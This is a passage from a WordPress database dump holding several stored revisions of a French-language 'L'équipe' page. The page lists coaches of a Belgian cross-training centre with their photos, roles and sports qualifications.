100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/mathieu_gille-pti.jpg\&quot;&gt;&lt;img class=\&quot; wp-image-237 alignleft\&quot; alt=\&quot;mathieu_gille-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/mathieu_gille-pti.jpg\&quot; width=\&quot;180\&quot; height=\&quot;233\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Matthieu Gille&lt;/h2&gt;\r\nCoatch&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/bertrand_bauwin-pti.jpg\&quot;&gt;&lt;img class=\&quot; wp-image-232 alignleft\&quot; alt=\&quot;bertrand_bauwin-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/bertrand_bauwin-pti.jpg\&quot; width=\&quot;180\&quot; height=\&quot;234\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Bertrand Bauwin&lt;/h2&gt;\r\n&lt;h5&gt;Coatch&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Baccalauréat en éducation physique&lt;/li&gt;\r\n	&lt;li&gt;Spécialisation en psychomotricité&lt;/li&gt;\r\n	&lt;li&gt;Préparateur physique et entraineur de football diplômé de l’URBSFA&lt;/li&gt;\r\n	&lt;li&gt;Enseignant en éducation physique&lt;/li&gt;\r\n	&lt;li&gt;Pratiquant de foot, triathlon, tennis et VTT&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/julien_meulemans-pti.jpg\&quot;&gt;&lt;img class=\&quot; wp-image-236 alignleft\&quot; alt=\&quot;julien_meulemans-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/julien_meulemans-pti.jpg\&quot; width=\&quot;180\&quot; height=\&quot;234\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Julien Meulemans&lt;/h2&gt;\r\nCoatch&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'L\'équipe', '', 'inherit', 'open', 'open', '', '20-revision-v1', '', '', '2013-07-03 19:39:55', '2013-07-03 19:39:55', '', 20, 'http://www.crosstrainingcenter.be/?p=244', 0, 'revision', '', 0),
(245, 1, '2013-07-03 19:41:42', '2013-07-03 19:41:42', '&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/julie_pierrard-pti.jpg\&quot;&gt;&lt;img class=\&quot; wp-image-235 alignleft\&quot; alt=\&quot;julie_pierrard-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/julie_pierrard-pti.jpg\&quot; width=\&quot;162\&quot; height=\&quot;211\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Julie Pierrard&lt;/h2&gt;\r\nGérante\r\nCoatch\r\nDiététicienne&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/damien_pierrard-pti.jpg\&quot;&gt;&lt;img class=\&quot; wp-image-233 alignleft\&quot; alt=\&quot;damien_pierrard-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/damien_pierrard-pti.jpg\&quot; width=\&quot;180\&quot; height=\&quot;234\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Damien Pierrard&lt;/h2&gt;\r\nFormateur\r\nCoatch&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/guelor-pti.jpg\&quot;&gt;&lt;img class=\&quot; wp-image-234 alignleft\&quot; alt=\&quot;guelor-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/guelor-pti.jpg\&quot; width=\&quot;180\&quot; height=\&quot;235\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Guélor Luabeya&lt;/h2&gt;\r\nFormateur\r\nCoatch&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/mathieu_gille-pti.jpg\&quot;&gt;&lt;img class=\&quot; wp-image-237 alignleft\&quot; alt=\&quot;mathieu_gille-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/mathieu_gille-pti.jpg\&quot; width=\&quot;180\&quot; height=\&quot;233\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Matthieu Gille&lt;/h2&gt;\r\nCoatch&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/bertrand_bauwin-pti.jpg\&quot;&gt;&lt;img class=\&quot; wp-image-232 alignleft\&quot; alt=\&quot;bertrand_bauwin-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/bertrand_bauwin-pti.jpg\&quot; width=\&quot;180\&quot; height=\&quot;234\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Bertrand Bauwin&lt;/h2&gt;\r\n&lt;h5&gt;Coatch&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Baccalauréat en éducation physique&lt;/li&gt;\r\n	&lt;li&gt;Spécialisation en psychomotricité&lt;/li&gt;\r\n	&lt;li&gt;Préparateur physique et entraineur de football diplômé de l’URBSFA&lt;/li&gt;\r\n	&lt;li&gt;Enseignant en éducation physique&lt;/li&gt;\r\n	&lt;li&gt;Pratiquant de foot, triathlon, tennis et VTT&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/julien_meulemans-pti.jpg\&quot;&gt;&lt;img class=\&quot; wp-image-236 alignleft\&quot; alt=\&quot;julien_meulemans-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/julien_meulemans-pti.jpg\&quot; width=\&quot;180\&quot; height=\&quot;234\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Julien Meulemans&lt;/h2&gt;\r\n&lt;h5&gt;Coatch&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Baccalauréat en éducation physique&lt;/li&gt;\r\n	&lt;li&gt;Maitre psychomotricien&lt;/li&gt;\r\n	&lt;li&gt;Formation de personal trainer&lt;/li&gt;\r\n	&lt;li&gt;Formation en Streching Global Actif (SGA)&lt;/li&gt;\r\n	&lt;li&gt;Formation à l’initiation au golf et snag golf&lt;/li&gt;\r\n	&lt;li&gt;Enseignant en éducation physique&lt;/li&gt;\r\n	&lt;li&gt;Pratiquant de foot et de ski&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'L\'équipe', '', 'inherit', 'open', 'open', '', '20-revision-v1', '', '', '2013-07-03 19:41:42', '2013-07-03 19:41:42', '', 20, 'http://www.crosstrainingcenter.be/?p=245', 0, 'revision', '', 0),
(246, 1, '2013-07-03 19:42:52', '2013-07-03 19:42:52', '&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/julie_pierrard-pti.jpg\&quot;&gt;&lt;img class=\&quot; wp-image-235 alignleft\&quot; alt=\&quot;julie_pierrard-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/julie_pierrard-pti.jpg\&quot; width=\&quot;97\&quot; height=\&quot;127\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Julie Pierrard&lt;/h2&gt;\r\nGérante\r\nCoatch\r\nDiététicienne&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/damien_pierrard-pti.jpg\&quot;&gt;&lt;img class=\&quot; wp-image-233 alignleft\&quot; alt=\&quot;damien_pierrard-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/damien_pierrard-pti.jpg\&quot; width=\&quot;108\&quot; height=\&quot;140\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Damien Pierrard&lt;/h2&gt;\r\nFormateur\r\nCoatch&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/guelor-pti.jpg\&quot;&gt;&lt;img class=\&quot; wp-image-234 alignleft\&quot; alt=\&quot;guelor-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/guelor-pti.jpg\&quot; width=\&quot;108\&quot; height=\&quot;141\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Guélor Luabeya&lt;/h2&gt;\r\nFormateur\r\nCoatch&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/mathieu_gille-pti.jpg\&quot;&gt;&lt;img class=\&quot; wp-image-237 alignleft\&quot; alt=\&quot;mathieu_gille-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/mathieu_gille-pti.jpg\&quot; width=\&quot;108\&quot; height=\&quot;140\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Matthieu Gille&lt;/h2&gt;\r\nCoatch&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/bertrand_bauwin-pti.jpg\&quot;&gt;&lt;img class=\&quot; wp-image-232 alignleft\&quot; alt=\&quot;bertrand_bauwin-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/bertrand_bauwin-pti.jpg\&quot; width=\&quot;108\&quot; height=\&quot;140\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Bertrand Bauwin&lt;/h2&gt;\r\n&lt;h5&gt;Coatch&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Baccalauréat en éducation physique&lt;/li&gt;\r\n	&lt;li&gt;Spécialisation en psychomotricité&lt;/li&gt;\r\n	&lt;li&gt;Préparateur physique et entraineur de football diplômé de l’URBSFA&lt;/li&gt;\r\n	&lt;li&gt;Enseignant en éducation physique&lt;/li&gt;\r\n	&lt;li&gt;Pratiquant de foot, triathlon, tennis et VTT&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/julien_meulemans-pti.jpg\&quot;&gt;&lt;img class=\&quot; wp-image-236 alignleft\&quot; alt=\&quot;julien_meulemans-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/julien_meulemans-pti.jpg\&quot; width=\&quot;108\&quot; height=\&quot;140\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Julien Meulemans&lt;/h2&gt;\r\n&lt;h5&gt;Coatch&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Baccalauréat en éducation physique&lt;/li&gt;\r\n	&lt;li&gt;Maitre psychomotricien&lt;/li&gt;\r\n	&lt;li&gt;Formation de personal trainer&lt;/li&gt;\r\n	&lt;li&gt;Formation en Streching Global Actif (SGA)&lt;/li&gt;\r\n	&lt;li&gt;Formation à l’initiation au golf et snag golf&lt;/li&gt;\r\n	&lt;li&gt;Enseignant en éducation physique&lt;/li&gt;\r\n	&lt;li&gt;Pratiquant de foot et de ski&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'L\'équipe', '', 'inherit', 'open', 'open', '', '20-revision-v1', '', '', '2013-07-03 19:42:52', '2013-07-03 19:42:52', '', 20, 'http://www.crosstrainingcenter.be/?p=246', 0, 'revision', '', 0),
(247, 1, '2013-07-03 19:44:26', '2013-07-03 19:44:26', '&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/julie_pierrard-pti.jpg\&quot;&gt;&lt;img class=\&quot; wp-image-235 alignleft\&quot; alt=\&quot;julie_pierrard-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/julie_pierrard-pti.jpg\&quot; width=\&quot;97\&quot; height=\&quot;127\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Julie Pierrard&lt;/h2&gt;\r\nGérante\r\nCoatch\r\nDiététicienne&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/damien_pierrard-pti.jpg\&quot;&gt;&lt;img class=\&quot; wp-image-233 alignleft\&quot; alt=\&quot;damien_pierrard-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/damien_pierrard-pti.jpg\&quot; width=\&quot;108\&quot; height=\&quot;140\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Damien Pierrard&lt;/h2&gt;\r\nFormateur\r\nCoatch&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/guelor-pti.jpg\&quot;&gt;&lt;img class=\&quot; wp-image-234 alignleft\&quot; alt=\&quot;guelor-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/guelor-pti.jpg\&quot; width=\&quot;108\&quot; height=\&quot;141\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Guélor Luabeya&lt;/h2&gt;\r\nFormateur\r\nCoatch&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/mathieu_gille-pti.jpg\&quot;&gt;&lt;img class=\&quot; wp-image-237 alignleft\&quot; alt=\&quot;mathieu_gille-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/mathieu_gille-pti.jpg\&quot; width=\&quot;108\&quot; height=\&quot;140\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Matthieu Gille&lt;/h2&gt;\r\nCoatch&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/bertrand_bauwin-pti.jpg\&quot;&gt;&lt;img class=\&quot; wp-image-232 alignleft\&quot; alt=\&quot;bertrand_bauwin-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/bertrand_bauwin-pti.jpg\&quot; width=\&quot;108\&quot; height=\&quot;140\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Bertrand Bauwin&lt;/h2&gt;\r\n&lt;h5&gt;Coatch&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Baccalauréat en éducation physique&lt;/li&gt;\r\n	&lt;li&gt;Spécialisation en psychomotricité&lt;/li&gt;\r\n	&lt;li&gt;Préparateur physique et entraineur de football diplômé de l’URBSFA&lt;/li&gt;\r\n	&lt;li&gt;Enseignant en éducation physique&lt;/li&gt;\r\n	&lt;li&gt;Pratiquant de foot, triathlon, tennis et VTT&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/julien_meulemans-pti.jpg\&quot;&gt;&lt;img class=\&quot; wp-image-236 alignleft\&quot; alt=\&quot;julien_meulemans-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/julien_meulemans-pti.jpg\&quot; width=\&quot;108\&quot; height=\&quot;140\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Julien Meulemans&lt;/h2&gt;\r\n&lt;h5&gt;Coatch&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Baccalauréat en éducation physique&lt;/li&gt;\r\n	&lt;li&gt;Maitre psychomotricien&lt;/li&gt;\r\n	&lt;li&gt;Formation de personal trainer&lt;/li&gt;\r\n	&lt;li&gt;Formation en Streching Global 